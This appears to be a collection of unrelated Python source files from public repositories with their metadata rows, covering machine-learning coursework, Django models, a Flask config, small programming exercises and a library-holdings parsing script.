current_theta_0):
"""
Properly updates the classification parameter, theta and theta_0, on a
single step of the Pegasos algorithm
Args:
feature_vector - A numpy array describing a single data point.
label - The correct classification of the feature vector.
L - The lamba value being used to update the parameters.
eta - Learning rate to update parameters.
current_theta - The current theta being used by the Pegasos
algorithm before this update.
current_theta_0 - The current theta_0 being used by the
Pegasos algorithm before this update.
Returns: A tuple where the first element is a numpy array with the value of
theta after the current update has completed and the second element is a
real valued number with the value of theta_0 after the current updated has
completed.
"""
# Your code here
raise NotImplementedError
#pragma: coderesponse end
#pragma: coderesponse template
def pegasos(feature_matrix, labels, T, L):
"""
Runs the Pegasos algorithm on a given set of data. Runs T
iterations through the data set, there is no need to worry about
stopping early.
For each update, set learning rate = 1/sqrt(t),
where t is a counter for the number of updates performed so far (between 1
and nT inclusive).
NOTE: Please use the previously implemented functions when applicable.
Do not copy paste code from previous parts.
Args:
feature_matrix - A numpy matrix describing the given data. Each row
represents a single data point.
labels - A numpy array where the kth element of the array is the
correct classification of the kth row of the feature matrix.
T - An integer indicating how many times the algorithm
should iterate through the feature matrix.
L - The lamba value being used to update the Pegasos
algorithm parameters.
Returns: A tuple where the first element is a numpy array with the value of
the theta, the linear classification parameter, found after T
iterations through the feature matrix and the second element is a real
number with the value of the theta_0, the offset classification
parameter, found after T iterations through the feature matrix.
"""
# Your code here
raise NotImplementedError
#pragma: coderesponse end
# Part II
#pragma: coderesponse template
def classify(feature_matrix, theta, theta_0):
"""
A classification function that uses theta and theta_0 to classify a set of
data points.
Args:
feature_matrix - A numpy matrix describing the given data. Each row
represents a single data point.
theta - A numpy array describing the linear classifier.
theta - A numpy array describing the linear classifier.
theta_0 - A real valued number representing the offset parameter.
Returns: A numpy array of 1s and -1s where the kth element of the array is
the predicted classification of the kth row of the feature matrix using the
given theta and theta_0. If a prediction is GREATER THAN zero, it should
be considered a positive classification.
"""
# Your code here
raise NotImplementedError
#pragma: coderesponse end
#pragma: coderesponse template
def classifier_accuracy(
classifier,
train_feature_matrix,
val_feature_matrix,
train_labels,
val_labels,
**kwargs):
"""
Trains a linear classifier and computes accuracy.
The classifier is trained on the train data. The classifier's
accuracy on the train and validation data is then returned.
Args:
classifier - A classifier function that takes arguments
(feature matrix, labels, **kwargs) and returns (theta, theta_0)
train_feature_matrix - A numpy matrix describing the training
data. Each row represents a single data point.
val_feature_matrix - A numpy matrix describing the training
data. Each row represents a single data point.
train_labels - A numpy array where the kth element of the array
is the correct classification of the kth row of the training
feature matrix.
val_labels - A numpy array where the kth element of the array
is the correct classification of the kth row of the validation
feature matrix.
**kwargs - Additional named arguments to pass to the classifier
(e.g. T or L)
Returns: A tuple in which the first element is the (scalar) accuracy of the
trained classifier on the training data and the second element is the
accuracy of the trained classifier on the validation data.
"""
# Your code here
raise NotImplementedError
#pragma: coderesponse end
#pragma: coderesponse template
def extract_words(input_string):
"""
Helper function for bag_of_words()
Inputs a text string
Returns a list of lowercase words in the string.
Punctuation and digits are separated out into their own words.
"""
for c in punctuation + digits:
input_string = input_string.replace(c, ' ' + c + ' ')
return input_string.lower().split()
#pragma: coderesponse end
#pragma: coderesponse template
def bag_of_words(texts):
"""
Inputs a list of string reviews
Returns a dictionary of unique unigrams occurring over the input
Feel free to change this code as guided by Problem 9
"""
# Your code here
dictionary = {} # maps word to unique index
for text in texts:
word_list = extract_words(text)
for word in word_list:
if word not in dictionary:
dictionary[word] = len(dictionary)
return dictionary
#pragma: coderesponse end
#pragma: coderesponse template
def extract_bow_feature_vectors(reviews, dictionary):
"""
Inputs a list of string reviews
Inputs the dictionary of words as given by bag_of_words
Returns the bag-of-words feature matrix representation of the data.
The returned matrix is of shape (n, m), where n is the number of reviews
and m the total number of entries in the dictionary.
Feel free to change this code as guided by Problem 9
"""
# Your code here
num_reviews = len(reviews)
feature_matrix = np.zeros([num_reviews, len(dictionary)])
for i, text in enumerate(reviews):
word_list = extract_words(text)
for word in word_list:
if word in dictionary:
feature_matrix[i, dictionary[word]] = 1
return feature_matrix
#pragma: coderesponse end
#pragma: coderesponse template
def accuracy(preds, targets):
"""
Given length-N vectors containing predicted and target labels,
returns the percentage and number of correct predictions.
"""
return (preds == targets).mean()
#pragma: coderesponse end
| [
"[email protected]"
] | |
296d74e81bcaded44c06c69cda33675423f41600 | 749444f166bbc7862ed257ee11f2502cc75b3a8b | /config.py | 8210fa01ab02002dcd4fa5186856ea6772beb51e | [
"MIT"
] | permissive | bzreinhardt/life-command-line-bot | 092f17da5ba201048b0d0297ab8c1bba585c7265 | 3cb7121785cc33849bedef42150b1e2245017d3a | refs/heads/master | 2022-12-11T16:33:44.126696 | 2020-02-11T05:11:48 | 2020-02-11T05:11:48 | 230,861,193 | 0 | 0 | MIT | 2022-09-23T22:34:19 | 2019-12-30T06:30:33 | Python | UTF-8 | Python | false | false | 1,119 | py | import os
basedir = os.path.abspath(os.path.dirname(__file__))
class Config(object):
DEBUG = True
TESTING = False
CSRF_ENABLED = True
BOT_NAME = "@lifecommandline_bot"
SECRET_KEY = 'this-really-needs-to-be-changed'
SQLALCHEMY_DATABASE_URI = os.environ['DATABASE_URL']
URL = os.environ['BOT_URL']
TOKEN = os.environ['BOT_TOKEN']
LOG_TO_STDOUT = os.environ.get('LOG_TO_STDOUT')
SQLALCHEMY_TRACK_MODIFICATIONS = False
MIGRATION_DIR = os.path.join(basedir, 'migrations')
FIREBASE_CREDENTIALS=os.path.join(basedir, 'serviceAccount.json')
FIREBASE_DUMP=os.path.join(basedir, 'db.json')
FIREBASE_API_KEY="<your api key>"
FIREBASE_AUTH_DOMAIN = "now-pages.firebaseapp.com"
FIREBASE_PROJECT_ID = "now-pages"
FIREBASE_AUTH_SIGN_IN_OPTIONS = "google, twitter"
BCRYPT_LOG_ROUNDS = 13
class ProductionConfig(Config):
DEBUG = False
class StagingConfig(Config):
DEVELOPMENT = True
DEBUG = True
class DevelopmentConfig(Config):
DEVELOPMENT = True
DEBUG = True
BCRYPT_LOG_ROUNDS = 4
class TestingConfig(Config):
TESTING = True
| [
"[email protected]"
] | |
99e704600e1b87fde15f2fadd8397164da492be6 | f060a93e854e1eb8d065ae973e9ce320834e8ebb | /Settings.py | c8d0687b8e50ad9a9254b54e53cdd6382cf026ed | [] | no_license | fustinose/QuickDate---TartanHacks2019 | 0c4a8e2c04464a4b9fab674886afa15ee00b1a4f | 95f2387ad7baf51655a75c4ea51fd083861e0ddb | refs/heads/master | 2020-04-21T22:17:49.356570 | 2019-09-18T00:33:26 | 2019-09-18T00:33:26 | 169,906,355 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 265 | py | WIDTH = 800
HEIGHT = 500
BUTTON_SIZE = (80, 80)
SCALE = (200, 200)
TEXT_POSITION = (50, 355)
IDEAL_POSITION = (180,200)
RESULT_POSITION = (600, 200)
INFO_POSITION = (480, 315)
CONFIDENCE_POSITION = (480, 355)
CONTACT_POSITION = (480, 395) | [
"[email protected]"
] | |
40d90b4f3260c93cddfb34e77fef82e69351ff5b | c6377ad42eed3aa6a5973940850fd52d8fbec12d | /airport/models.py | 23ae666acf17fdab443ca34b3949922c4b9b753a | [] | no_license | dipan010/AirportDB | 690deed5c3ee9f8b13950cf5bc6fa8d6ba2dde63 | 11030b97418e178f2fd6031fcbdab43465ec6823 | refs/heads/master | 2022-12-25T10:16:58.483096 | 2020-10-02T18:39:10 | 2020-10-02T18:39:10 | 278,985,530 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,121 | py | from django.db import models
# Create your models here.
class Airport(models.Model):
apid = models.CharField(max_length=20)
apname = models.CharField(max_length=100)
apcity = models.CharField(max_length=100)
apcountry = models.CharField(max_length=100)
apIATA = models.CharField(max_length=100)
apICAO = models.CharField(max_length=100)
aptimezone = models.TimeField(max_length=100)
aptype = models.CharField(max_length=100)
class Meta:
db_table = "airport"
class Airline(models.Model):
alid = models.CharField(max_length=20)
alname = models.CharField(max_length=100)
apcountry = models.CharField(max_length=100)
apIATA = models.CharField(max_length=100)
apICAO = models.CharField(max_length=100)
apstate = models.CharField(max_length=100)
ap_nooflights = models.CharField(max_length=100)
class Meta:
db_table = "airline"
class Document(models.Model):
aadharCard_no = models.CharField(max_length=20)
passport_no = models.CharField(max_length=100)
ticket_no = models.CharField(max_length=100)
class Meta:
db_table = "document"
class Domestic(models.Model):
did = models.CharField(max_length=20)
alname = models.CharField(max_length=100)
from_ap = models.CharField(max_length=100)
to_ap = models.CharField(max_length=100)
no_of_flights = models.CharField(max_length=100)
price = models.CharField(max_length=100)
flight_time = models.CharField(max_length=100)
class Meta:
db_table = "domestic"
class International(models.Model):
iid = models.CharField(max_length=20)
alname = models.CharField(max_length=100)
from_ap = models.CharField(max_length=100)
to_ap = models.CharField(max_length=100)
no_of_flights = models.CharField(max_length=100)
price = models.CharField(max_length=100)
flight_time = models.CharField(max_length=100)
class Meta:
db_table = "international"
class Employee(models.Model):
eid = models.CharField(max_length=20)
Name = models.CharField(max_length=100)
post = models.CharField(max_length=100)
aadharCard_no = models.CharField(max_length=20)
passport_no = models.CharField(max_length=100)
al_name = models.CharField(max_length=100)
class Meta:
db_table = "employee"
class Flight(models.Model):
from_ap = models.CharField(max_length=100)
from_ap_id = models.CharField(max_length=100)
to_ap = models.CharField(max_length=100)
to_ap_id = models.CharField(max_length=100)
dist = models.CharField(max_length=100)
departs = models.CharField(max_length=100)
arrival = models.CharField(max_length=100)
price = models.CharField(max_length=100)
al_name = models.CharField(max_length=100)
class Meta:
db_table = "flight"
class Passenger(models.Model):
pid = models.CharField(max_length=20)
Name = models.CharField(max_length=100)
Nationality = models.CharField(max_length=100)
no_of_luggages = models.CharField(max_length=100)
class Meta:
db_table = "passenger"
class Ticket(models.Model):
from_ap = models.CharField(max_length=100)
from_ap_id = models.CharField(max_length=100)
to_ap = models.CharField(max_length=100)
to_ap_id = models.CharField(max_length=100)
departs = models.CharField(max_length=100)
arrival = models.CharField(max_length=100)
class Meta:
db_table = "ticket"
class Checkin(models.Model):
passport_no = models.CharField(max_length=100)
tno = models.CharField(max_length=100)
class Meta:
db_table = "Checkin"
class checkflight(models.Model):
Trip = models.CharField(max_length=20)
flying_from = models.CharField(max_length=50)
flying_to = models.CharField(max_length=50)
adults = models.IntegerField
child = models.IntegerField
departs = models.DateField
returns = models.DateField
travel_class = models.CharField(max_length=50)
class Meta:
db_table = "check"
| [
"[email protected]"
] | |
e1b9ac4e6db534177973b7833c22cc7858815051 | 9ff2d34acb5e5cfca5db3693b20cec4385837ab5 | /employees.py | f53c01b329e065fdb408c59c31e1df4a10e2fd07 | [] | no_license | fferrant/Python2 | a0a53c4407ba2839789f969b26cbf447d74f556d | 24caa3558b4aa9721026c7ee9c1adc1ccf5577a7 | refs/heads/master | 2023-01-18T22:37:13.132317 | 2020-10-31T13:29:45 | 2020-10-31T13:29:45 | 269,771,953 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 6,045 | py | """
En este programa se intentará predecir el salario mensual de empleados de una firma a partir de
algoritmos que utilicen tanto datos numéricos (algunos de los cuales se agruparán en bines) y
datos categóricos. Se utilizará a tal fin una red neuronal y un random forest. Para el tuneo de
hiperparámetros, se recurrira a la herramienta de grid search.
"""
#Carga de librerías a utilizar
import matplotlib.pyplot as plt
import numpy as np
import seaborn as sns
import time
import random
import pandas as pd
import sklearn
from sklearn.neural_network import MLPRegressor
from sklearn.ensemble import RandomForestRegressor
from sklearn.model_selection import GridSearchCV
from sklearn.metrics import r2_score
from sklearn.metrics import mean_squared_error
from sklearn.model_selection import train_test_split
from sklearn.preprocessing import StandardScaler
from sklearn.preprocessing import OneHotEncoder
from sklearn.preprocessing import KBinsDiscretizer
from sklearn.impute import SimpleImputer
from sklearn.compose import ColumnTransformer
from sklearn.pipeline import make_pipeline
from sklearn.pipeline import Pipeline
from sklearn.model_selection import KFold
#Cargamos el dataset y realizamos un análisis exploratorio del mismo
X=pd.read_csv("data/employees.csv",sep=';')
print(X.head(10))
print("Forma del dataset: {}".format(X.shape))
print("Columnas del dataset:{}".format(X.columns))
X=X.dropna()
print("Forma del dataset: {}".format(X.shape))
Y=X.pop("MonthlyIncome").values
X=X.drop(['EmployeeCount','EmployeeNumber'],axis=1)
print("Tipo de datos:{}".format(X.dtypes))
#Obtenemos nuestros strings de columnas previo al preprocesamiento de datos
kinds = np.array([dt.kind for dt in X.dtypes])
print(kinds)
columns=X.columns.values
is_cat=kinds=='O'
print(is_cat)
cat_cols=columns[is_cat] #Lista de columnas que son strings
print(cat_cols)
num_cols=['DailyRate','DistanceFromHome','HourlyRate','MonthlyRate','PercentSalaryHike',
'StandardHours','TotalWorkingYears'] #Lista de columnas numércias
bin_cols=columns[~is_cat]
bin_cols=list(bin_cols)
for i in num_cols:
bin_cols.remove(i)
print(bin_cols)
#Ahora si pasamos al preprocesamiento del dataset
si_cat_step=('si1',SimpleImputer(strategy='constant',fill_value='MISSING'))
ohe_cat_step=('ohe',OneHotEncoder(sparse=False,handle_unknown='ignore'))
cat_steps=[si_cat_step,ohe_cat_step]
cat_pipe=Pipeline(cat_steps)
si_num_step=('si2',SimpleImputer(strategy='mean'))
ss_num_step=('ss',StandardScaler())
num_steps=[si_num_step,ss_num_step]
num_pipe=Pipeline(num_steps)
si_bin_step=('si3',SimpleImputer(strategy='median'))
kb_bin_step=('kb',KBinsDiscretizer(encode='onehot-dense'))
bin_steps=[si_bin_step,kb_bin_step]
bin_pipe=Pipeline(bin_steps)
transformers=[('cat',cat_pipe,cat_cols),('num',num_pipe,num_cols),('bin',bin_pipe,bin_cols)]
ct=ColumnTransformer(transformers=transformers)
Z=ct.fit_transform(X)
print(Z.shape)
"""
Ahora que tenemos nuestro dataset pre-procesado realizaremos 2 algoritmos de ML para nuestra
regresión: 1) Red Neuronal 2) Random Forest. En ambos casos el tuneo de hiperparámetros se
realizará a través de las herramientas de Grid Search y Cross Validation. Sobre los modelos
con mejores parámetros se tomará la métrica de R2 para determinar que modelo predice mejor
el salario de los empleados.
"""
# 1) Red neuronal
kf=KFold(n_splits=5, shuffle=True, random_state=123)
parametros_red = {
"hidden_layer_sizes":range(1,31,3),
"alpha":np.logspace(-5,2,8)
}
modelo_red=MLPRegressor(solver='lbfgs',random_state=123)
grid_red=GridSearchCV(modelo_red,parametros_red,cv=kf)
grid_red.fit(Z,Y)
print("Mejores parámetros del modelo:{}".format(grid_red.best_params_))
print("Score del mejor modelo:{}".format(grid_red.best_score_))
print("Resultados obtenidos durante el grid search:\n{}".format(grid_red.cv_results_))
# 2) Random forest
parametros_bosque = {
"max_depth": range(1, 7, 2),
"min_samples_split": range(2, 18, 4),
"min_samples_leaf":range(1,9,2),
"n_estimators":range(10,30,10)
}
modelo_bosque=RandomForestRegressor(random_state=123)
grid_bosque=GridSearchCV(modelo_bosque,parametros_bosque,cv=kf)
grid_bosque.fit(Z,Y)
print("Mejores parámetros del modelo:{}".format(grid_bosque.best_params_))
print("Score del mejor modelo:{}".format(grid_bosque.best_score_))
print("Resultados obtenidos durante el grid search:\n{}".format(grid_bosque.cv_results_))
#Generamos modelos con los mejores parámetros de cada algoritmo
semillas=[1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30]
red_scores=[]
bosque_scores=[]
la_red=MLPRegressor(alpha=0.00001, hidden_layer_sizes= (4,),solver='lbfgs')
el_bosque=RandomForestRegressor(max_depth= 5, min_samples_leaf=1, min_samples_split=14, n_estimators=20)
for i in semillas:
Z_train, Z_test, Y_train, Y_test = train_test_split(Z,Y,random_state=i)
la_red.fit(Z_train,Y_train)
red_scores.append(r2_score(la_red.predict(Z_test),Y_test))
el_bosque.fit(Z_train,Y_train)
bosque_scores.append(r2_score(el_bosque.predict(Z_test),Y_test))
print("Scores de la mejor red:\n{}".format(red_scores))
print("Scores del mejor bosque:\n{}".format(bosque_scores))
np_red=np.asarray(red_scores)
np_bosque=np.asarray(bosque_scores)
print("Promedio de scores de la mejor red:\n{}".format(np_red.mean()))
print("Promedio de scores del mejor bosque:\n{}".format(np_bosque.mean()))
sns.boxplot(y=red_scores,color='green')
plt.title("Distribución de scores de la mejor red",size=18)
plt.show()
sns.boxplot(y=bosque_scores,color='green')
plt.title("Distribución de scores del mejor bosque",size=18)
plt.show()
"""
Luego de entrenados y testeados los 2 algoritmos propuestos, concluimos que el algoritmo de random
forest predice mejor los sueldos de empleados que la red neuronal, obteniendo un R2 promedio de 0.93
vs 0.91 obtenido por la red neuronal.
"""
| [
"[email protected]"
] | |
f9cc71b56a10eaa7c0c41519426aa773f8b64f37 | 71dc727f9056934cd51692f8a3d26cf0dda44ef0 | /sample-programs/week4/evenOdd.py | 16bdc10c62ad7fb7dfb87114fb407a3a7a4ef945 | [
"MIT"
] | permissive | justinclark-dev/CSC110 | 9d255020a50bbfdb195465c3e742dd2fcd61e3a4 | d738ec33b757ba8fa9cf35b2214c184d532367a0 | refs/heads/master | 2022-12-08T08:08:30.667241 | 2020-09-04T01:05:34 | 2020-09-04T01:05:34 | 232,606,910 | 0 | 1 | MIT | 2020-09-04T02:05:47 | 2020-01-08T16:28:37 | Python | UTF-8 | Python | false | false | 472 | py | # evenOdd.py
#
# Even/odd program displays whether user input is even or odd
# CSC 110
# Fall 2011
def main():
print('How odd is this?')
# get a user number
number = int(input('Please enter an integer: '))
# test for even
if number % 2 == 0:
print(format(number, 'd') + ' is even')
else:
print(format(number, 'd') + ' is odd')
# An alternative to format(number, 'd') would be str(number)
# Call the main function.
main() | [
"[email protected]"
] | |
e00d0595f2ddec3010e5761a9fb169446c04e9f8 | 7767a6dd02bfe4a60e84fa72a7ca9e7a5262c126 | /studentix/migrations/0010_auto_20160306_1131.py | ee676294d1d5c9fd926b0ffd45ac9b26aa01a674 | [] | no_license | gauravj532/course-management-system | 33820597963dadc3bd2a23dc95f96e5040aacffe | 013cbd8620e09d25c3dc1500aa70c1c4b0947a22 | refs/heads/master | 2021-01-11T22:24:17.611297 | 2017-01-14T18:10:17 | 2017-01-14T18:10:17 | 78,957,296 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 778 | py | # -*- coding: utf-8 -*-
# Generated by Django 1.9.2 on 2016-03-06 11:31
from __future__ import unicode_literals
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('studentix', '0009_message'),
]
operations = [
migrations.RenameField(
model_name='message',
old_name='loginuser_sender',
new_name='user_sender',
),
migrations.AddField(
model_name='message',
name='subject',
field=models.CharField(default='', max_length=100),
),
migrations.AlterField(
model_name='message',
name='message',
field=models.CharField(default='', max_length=10000),
),
]
| [
"[email protected]"
] | |
724d746602de751a5bb20d318eff25c27bcded50 | 88bdbe3745cfe9ead2d10f1eb5459475923d7539 | /src/backend/commandparser/default_cmds.py | fef6ce8779ae8fa5bb431cfc9112e514418c6391 | [
"MIT"
] | permissive | aruns807/shim | 6fc2442ea9fafb1e4cbcc07c667970bff8c1721a | 686a16aacfc85bdcf275698b5e320a224d88298c | refs/heads/master | 2020-05-02T13:15:03.836692 | 2014-05-02T02:46:33 | 2014-05-02T02:46:33 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,043 | py | import re
DEFAULT_COMMAND_TOKENS = {
re.compile('[0-9]+'): {
'type':'NUMBER',
},
re.compile('f.'): {
'type':'FIND_CHARACTER',
},
re.compile('d'): {
'type': 'DELETE_INIT',
},
re.compile('dd'): {
'type': 'DELETE_LINE',
},
re.compile('[h|j|k|l|w|b|\{|\}]'): {
'type': 'MOVEMENT',
},
re.compile('yy'): {
'type': 'YANK_LINE',
},
re.compile('gg'): {
'type': 'GO_TO_LINE_NUM',
},
re.compile('m[a-z]'): {
'type': 'MARK_POSITION',
},
re.compile('\'[a-z]'): {
'type': 'JUMP_MARK',
}
}
DEFAULT_COMMAND_MAP = {
'YANK_LINE': 'YANK_LINE',
'FIND_CHARACTER': 'FIND_CHARACTER',
'NUMBER|GO_TO_LINE_NUM': 'JUMP_LINE_NUM',
'GO_TO_LINE_NUM': 'GO_FILE_BEGIN',
'DELETE_INIT|MOVEMENT': 'DELETE_MOVEMENT',
'DELETE_LINE': 'DELETE_LINE',
'NUMBER|DELETE_LINE': 'DELETE_LINE_REPEAT',
'NUMBER|MOVEMENT': 'REPEAT_MOVEMENT',
'MARK_POSITION': 'MARK_POSITION',
'JUMP_MARK': 'JUMP_MARK',
}
| [
"[email protected]"
] | |
789d7b785182c0131c6243ea2ee7bf348183a586 | 538b67fe626d531b84dee0b23f859a95b460009b | /LevelOrderBTTraversal.py | 6d391aa4a9a5fc0f692b0c9e9f1fae1a1f420d56 | [] | no_license | ShuNayak/BinaryTree | 0f5989ddd724d83b2f6d1a17c0cd6acd971c34a3 | 08ed91176018cde5bb7f6c30d486654b38b53054 | refs/heads/master | 2022-09-30T20:15:45.652690 | 2020-06-06T03:58:47 | 2020-06-06T03:58:47 | 257,723,199 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 725 | py | from typing import List
class TreeNode:
def __init__(self, val=0, left= None, right=None):
self.val = val
self.left = left
self.right = right
class solution:
def levelOrderTraversal(self, node:TreeNode)->List[List[int]]:
ans, level =[], [node]
while node and level:
ans.append([item.val for item in level])
level = [child for n in level for child in (n.left, n.right) if child]
return ans
root = TreeNode(1)
two = TreeNode(2)
three = TreeNode(3)
four = TreeNode(4)
five = TreeNode(5)
six = TreeNode(6)
root.left = two
root.right = three
two.left = four
two.right = five
five.right= six
obj = solution()
print(obj.levelOrderTraversal(root))
| [
"[email protected]"
] | |
6239c27801905c586eb0e4c30a5925ac6a198ccb | 9993bb4aa0cb5d01def80fdf85b79acb3d4ce53f | /src/res/__init__.py | 6df7e8a2f5021781e90f2c10f216762a06dd4227 | [] | no_license | Rollbear-bot/SyntaxAnalysis | d3ae06d78885497cf752251b6cd911b77f400bcb | f0e241f29e859f616d2f7b57e52a6cb2b5480faf | refs/heads/master | 2023-02-20T14:31:20.673288 | 2021-01-19T09:39:22 | 2021-01-19T09:39:22 | 316,387,538 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 97 | py | # -*- coding: utf-8 -*-
# @Time: 2020/11/27 9:03
# @Author: Rollbear
# @Filename: __init__.py.py
| [
"[email protected]"
] | |
51e5ac810b52c7fda601967ea3e3e11368ed2226 | e9fe7ee927bd7dcb1c672a5e060153c735662ef1 | /euler40.py | 879a39caa4baa16a725a956ac0de99af5a525c82 | [] | no_license | ahalbert/python-euler | 61e7be56d276b994a933206bffac47f9b24d8586 | 8977ae09e5e8b45d6694e0dac4ededfb373fffad | refs/heads/master | 2021-03-12T22:27:07.937829 | 2013-01-27T19:28:47 | 2013-01-27T19:28:47 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 577 | py | __author__ = 'ahalbert'
def findDigit():
digits = [1]
dbase = [10,100,1000,10000,100000,1000000]
base = [10,100,1000,10000,100000,1000000]
length = 1
baselength = 1
concat = 1
while base != []:
if length == base[0]:
digits.append(str(concat)[0])
del base[0]
if length > base[0]:
digits.append(str(concat)[base[0]-length-1])
del base[0]
concat += 1
if concat >= dbase[0]:
baselength += 1
del dbase[0]
length += baselength
return digits
def euler40():
product = 1
digits = findDigit()
for i in digits:
product *= int(i)
return product | [
"[email protected]"
] | |
ea68ba266d053af01b69cdd37e3eb78d4d12efb9 | fad74752c74a191c1b751b40ae8f781c2b0943dc | /roy_and_profile_picture.py | b9c6c249932a637d8d82b5e2304357931dcab0f2 | [] | no_license | HUSS41N/HackerEarth | 4d81311925279f78af8116098267e56383a683bc | 9bfca212e50eede840fdb616579c722fe6596bea | refs/heads/main | 2023-02-10T21:38:55.008976 | 2021-01-02T22:17:15 | 2021-01-02T22:17:15 | 320,372,730 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 304 | py | l = int(input()) #Square side length FB
n = int(input()) #NUmber of photos
for i in range(n):
w,h = map(int,input().split())
if w < l or h < l:
print('UPLOAD ANOTHER')
elif w >= l and h >= l:
if w == h:
print('ACCEPTED')
else:
print('CROP IT')
| [
""
] | |
414b2b04d2e06f58a6f7c076fac058adf60f6c8d | f72e4bc91eb8c28f8cc83af0833430bea8d3d41f | /teaching/admin.py | fd2e137c16ff8e876a1f0e9ba30c24de2d327571 | [] | no_license | npalermo10/my_django_site | a4a64c1957a33c2e2768d1a1dd434b539feaf427 | 6d5ebe9730323f9d6f7d59d4dad084e3b8866d7b | refs/heads/master | 2020-07-28T10:06:17.793273 | 2017-07-16T20:27:54 | 2017-07-16T20:27:54 | 67,458,915 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 413 | py | from django.contrib import admin
from teaching.models import Classroom, Announcement,Scheduled
class ClassroomAdmin(admin.ModelAdmin):
prepopulated_fields = {'slug':('title',)}
class AnnouncementAdmin(admin.ModelAdmin):
prepopulated_fields = {'slug':('date', 'classroom')}
# Register your models here.
admin.site.register(Classroom)
admin.site.register(Announcement)
admin.site.register(Scheduled)
| [
"[email protected]"
] | |
06c68cf5391b0bda58d92190609e5ddca5d4c892 | b50df8a902f4e2c1ecd8667b7b97937da3371caf | /Parte002/ex1018_longitud_cadenas_len_map.py | c3870c37d1d634cd5bcfba5de9a8e2074160a9fa | [] | no_license | Fhernd/PythonEjercicios | 5a5633855979baec89a3c257eb57aac076a7465f | 204d3d59ddeed6cbf263b23f14e950c20f81f608 | refs/heads/master | 2021-11-23T00:26:28.861302 | 2021-10-14T16:50:27 | 2021-10-14T16:50:27 | 230,629,743 | 124 | 84 | null | 2021-09-15T18:45:25 | 2019-12-28T15:45:28 | Python | UTF-8 | Python | false | false | 256 | py | # Ejercicio 1018: Obtener la longitud de cada cadena de una lista con la función map().
nombres = ['Alexander', 'Diana', 'Luisa', 'Pedro', 'Fabián', 'Sebastián', 'Deisy']
# [9, 5, 5, 5, 6, 9, 5]
longitudes = list(map(len, nombres))
print(longitudes)
| [
"[email protected]"
] | |
ac7581288b5f96380ccbe085599811d0a9e5a0ae | c94df64da1aaae0a38dd347804f2a7b467a17513 | /BinaryTreeLevelOrderTraversal2/binary_tree_level_order_traversal2.py | ce723daca13e6a36afbdaf6a4f8e0014c64e7f6b | [] | no_license | shiny13/leetcode-problems | b88e8d908a8a0d831a3473bbbb7b3ada74e0a776 | 48d587962d5e0fcc3f93d99e4a395183ab058ed7 | refs/heads/master | 2023-05-11T15:20:04.415197 | 2023-04-29T12:04:15 | 2023-04-29T12:04:15 | 252,415,274 | 2 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,102 | py | import sys
from typing import List
# Definition for a binary tree node.
class TreeNode:
def __init__(self, val=0, left=None, right=None):
self.val = val
self.left = left
self.right = right
class Solution:
def levelOrderBottom(self, root: TreeNode) -> List[List[int]]:
self.levels = []
if root == None:
return []
stack = [root]
while stack:
next_level_nodes = []
current_lvl = []
for node in stack:
current_lvl.append(node.val)
if node.left:
next_level_nodes.append(node.left)
if node.right:
next_level_nodes.append(node.right)
stack = next_level_nodes
self.levels.insert(0, current_lvl)
return self.levels
if __name__ == '__main__':
node = TreeNode(3)
node.left = TreeNode(9)
node.right = TreeNode(20)
node.right.left = TreeNode(15)
node.right.right = TreeNode(7)
sol = Solution()
print(sol.levelOrderBottom(node))
| [
"[email protected]"
] | |
f2d52ffb6eb59732f3c3158313c29097d71cd205 | 5588a2e55e5c0ad371db6402d4bccb910b8e94c6 | /summary_holdings/23$81$ayear.py | 9b8f511d5686bf27d52b2bb5265a2050d8a25b65 | [] | no_license | jdcar/holdingssummary | 84ba539b8444eb2113e5f4c8098bda9e821a6854 | 510a8f082cb192464491a62426f2f7c7522ed88e | refs/heads/master | 2020-03-11T04:58:18.345764 | 2018-04-16T19:21:36 | 2018-04-16T19:21:36 | 129,789,967 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 10,510 | py | import re
fhand = open("H:\\MFHD\MFHDS.txt")
for line in fhand:
if "$ayear" in line:
if re.compile("23\$81\$ayear,"):
mfhd = line.split(", ")[0]
p = re.compile("23\$81\$ayear,")
matchResult = p.search(line)
if "23$81$ayear," in str(matchResult):
p2 = re.compile("4.\$8.*")
matchResult2 = p2.search(line)
m = str(matchResult2)
m2 = m.split("$a")[-1].split("'>")[0]
if re.search('[a-zA-Z>]+', m2):
print ("Nope| " , mfhd, "|" , m2, sep="")
elif re.search("18\\d\\d/\\d\\d-18\\d\\d/\\d\\d$", m2):
firstYear = m2.split("/")[0]
secondYear = m2.split("/")[1].split("-")[0]
thirdYear = m2.split("-")[-1].split("/")[0]
fourthYear = m2.split("/")[-1]
print ("Done| " , mfhd, "|" ,firstYear, "/18" , secondYear, "-" , thirdYear, "/18" , fourthYear, sep="")
elif re.search("18\\d\\d/\\d\\d-19\\d\\d/\\d\\d$", m2):
firstYear = m2.split("/")[0]
secondYear = m2.split("/")[1].split("-")[0]
thirdYear = m2.split("-")[-1].split("/")[0]
fourthYear = m2.split("/")[-1]
print ("Done| " , mfhd, "|" ,firstYear, "/18" , secondYear, "-" , thirdYear, "/19" , fourthYear, sep="")
elif re.search("19\\d\\d/\\d\\d-19\\d\\d/\\d\\d$", m2):
firstYear = m2.split("/")[0]
secondYear = m2.split("/")[1].split("-")[0]
thirdYear = m2.split("-")[-1].split("/")[0]
fourthYear = m2.split("/")[-1]
print ("Done| " , mfhd, "|" ,firstYear, "/19" , secondYear, "-" , thirdYear, "/19" , fourthYear, sep="")
elif re.search("20\\d\\d/\\d\\d-20\\d\\d/\\d\\d$", m2):
firstYear = m2.split("/")[0]
secondYear = m2.split("/")[1].split("-")[0]
thirdYear = m2.split("-")[-1].split("/")[0]
fourthYear = m2.split("/")[-1]
print ("Done| " , mfhd, "|" ,firstYear, "/20" , secondYear, "-" , thirdYear, "/20" , fourthYear, sep="")
